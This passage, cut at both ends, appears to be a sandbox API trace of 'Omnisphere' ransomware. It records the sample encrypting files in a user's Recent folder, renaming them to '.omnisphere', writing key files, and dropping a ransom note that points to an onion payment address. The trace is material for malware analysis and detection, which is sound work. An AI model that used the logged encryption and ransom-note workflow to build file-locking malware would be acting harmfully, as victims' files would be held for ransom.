pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.090] CryptDestroyKey (hKey=0x1639b68) returned 1 [0120.090] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0120.090] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4a6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.090] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.091] GetProcessHeap () returned 0x1600000 [0120.091] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2be) returned 0x16bd630 [0120.091] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dxa z4w0x7shtsyilt.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dxa z4w0x7shtsyilt.lnk.omnisphere")) returned 1 [0120.092] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk.omnisphere.id" [0120.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dxa z4w0x7shtsyilt.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.094] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.096] CloseHandle (hObject=0x3c0) returned 1 [0120.096] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.096] CloseHandle (hObject=0x288) returned 1 [0120.096] SetEndOfFile (hFile=0x28c) returned 1 [0120.096] FlushFileBuffers (hFile=0x28c) returned 1 [0120.104] CloseHandle (hObject=0x28c) returned 1 [0120.104] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.104] GetProcessHeap () returned 0x1600000 [0120.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c0af0 [0120.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.104] GetProcessHeap () returned 0x1600000 [0120.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1f78 [0120.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1f78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.104] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.104] GetProcessHeap () returned 0x1600000 [0120.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afdc8 [0120.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afdc8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.104] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.104] GetProcessHeap () returned 0x1600000 [0120.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfdc8 [0120.104] PathCombineW (in: pszDest=0x16bfdc8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.105] GetProcessHeap () returned 0x1600000 [0120.105] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c7280 [0120.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.105] WriteFile (in: hFile=0x28c, lpBuffer=0x16c7280*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c7280*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.105] CloseHandle (hObject=0x28c) returned 1 [0120.105] GetProcessHeap () returned 0x1600000 [0120.105] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0af0 | out: hHeap=0x1600000) returned 1 [0120.105] GetProcessHeap () returned 0x1600000 [0120.105] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.105] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.106] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.106] CloseHandle (hObject=0x28c) returned 1 [0120.106] GetProcessHeap () returned 0x1600000 [0120.106] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.106] GetProcessHeap () returned 0x1600000 [0120.106] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bec88 | out: hHeap=0x1600000) returned 1 [0120.106] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed647624, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x218849a3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x218849a3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x404, dwReserved0=0x0, dwReserved1=0xd3, cFileName="F56ebCujkg0rfON4Q6c.lnk", cAlternateFileName="F56EBC~1.LNK")) returned 1 [0120.106] GetProcessHeap () returned 0x1600000 [0120.106] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf808 [0120.106] PathCombineW (in: pszDest=0x16bf808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="F56ebCujkg0rfON4Q6c.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk" [0120.106] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F56ebCujkg0rfON4Q6c.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f56ebcujkg0rfon4q6c.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.107] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1028) returned 1 [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.107] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] GetTickCount () returned 0x115e01b [0120.108] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0120.109] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.109] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.109] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.109] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x404, lpName=0x0) returned 0x288 [0120.109] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x404) returned 0x1480000 [0120.109] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668a38) returned 1 [0120.110] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0120.110] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.112] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, 